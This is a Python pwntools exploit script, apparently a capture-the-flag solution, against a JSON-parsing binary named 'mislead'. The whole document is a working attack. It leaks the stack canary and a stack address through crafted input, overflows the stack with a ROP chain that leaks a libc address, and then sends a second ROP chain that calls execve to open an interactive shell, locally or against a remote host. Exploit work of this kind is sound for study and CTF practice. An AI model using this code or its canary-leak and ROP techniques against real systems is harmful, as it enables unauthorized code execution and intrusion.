from pwn import *
from binascii import hexlify as h
from time import sleep
from sys import argv

#context.log_level = "debug"
libc = ELF("./libc-2.27.so")
binary = ELF("./mislead")

def choice(menu,select):
    io.sendlineafter(menu,str(select))
def sendJson(size,json,show,gg=True):
    choice("(-1/0/1)",1)
    choice("Len:",size)
    if size < 0x100:
        io.sendlineafter("Str:",json) if gg == True else io.sendafter("Str:",json)
        io.recvuntil("RAW DATA:")
        leak = io.recvline()
        buf = io.recv(1)
        if buf == "W":
            choice("(0/1)",show)
            info("JSON ON HEAP")
        elif buf == 'V':
            info("JSON ON STACK")
        else:
            info("INCORRECT JSON")
        return leak
    else:
        io.sendlineafter("id:",json[0])
        io.sendlineafter("data",json[1])
def delJson(idx):
    choice("(-1/0/1)",-1)
    choice("Idx:",idx)
    io.recvuntil("Removement done")
    return

while(True):
    try:
        if len(argv)==1:
            io = process("./mislead")
        elif len(argv)==3:
            io = remote(argv[1],int(argv[2]))
        else:
            critical("INVALID ARGV")

        info("FengShui for leak stack\n\n")
        leak = sendJson(0x27,"\x7f"*0x21+"/*\x00\x00/*",0,gg=False)
        canary = u64(leak[0x21:0x28].ljust(8,'\x00'))<<8
        stack = u64(leak[0x28:0x2e].ljust(8,'\x00'))
        assert (stack>=0x7f0000000000)
        success("CANARY -> %#x"%canary)
        success("STACK -> %#x"%stack)
        io.sendafter("(enter to pass):","\x7f"*0x2c+"/*")
        io.sendafter("(enter to pass):","\x7f"*0x28+p64(canary))
        io.sendafter("(enter to pass):","\n")

        pop_rdi = 0x0000000000405f03
        pop_rbp = 0x0000000000401273
        ppop_rsi = 0x0000000000405f01
        lpop_rdx = 0x0000000000001b96
        lpop_rax = 0x00000000000439c8
        syscall = 0x00000000000d2975

        payload = 'MozhuCY!'*0x1f
        payload += p64(0xf0)
        payload += p64(stack-(0x7ffe804d9370-0x7ffe804d8ac0)+0x200)
        payload += p64(0x400fc9)
        payload += p64(0x401274)*22
        payload += p64(stack-(0x7fff41dd5e60-0x7fff41dd57b0))
        payload += p64(canary)*7
        payload += 'MozhuCY!'*(0x600/8)
        payload += p64(stack-0x90)
        payload += p64(canary)
        payload += p64(stack-0x20)
        payload += p64(pop_rdi)
        payload += p64(binary.got['printf'])
        payload += p64(0x4011ed)
        payload += p64(0)*9
        payload += p64(canary)
        payload += p64(0)*5
        payload += p64(pop_rbp)
        payload += p64(stack-(0x7ffe804d9370-0x7ffe804d8ac0)+0x100)
        payload += p64(0x40165c)
        payload += p64(0x400fd3)
        sendJson(0x7ff,["MozhuCYNB",payload],0)
        io.recvuntil('"\n}',timeout=5)
        lbase = u64(io.recv(6).ljust(8,'\x00'))-libc.sym['printf']
        success("LBASE @libc -> %#x"%lbase)

        payload = p64(lbase+0x9d661)
        payload += p64(pop_rdi)+p64(lbase+0x1b3e9a)
        payload += p64(ppop_rsi)+p64(0)+p64(canary)
        payload += p64(lbase+lpop_rdx)+p64(0)
        payload += p64(lbase+lpop_rax)+p64(0x3b)
        payload += p64(lbase+syscall)

        io.sendline(payload)
        io.recvuntil('(enter to pass):')
        io.send("\n")
        io.interactive()
        exit()
    except Exception,e:
        log.warning(str(Exception)+str(e))
        io.close()
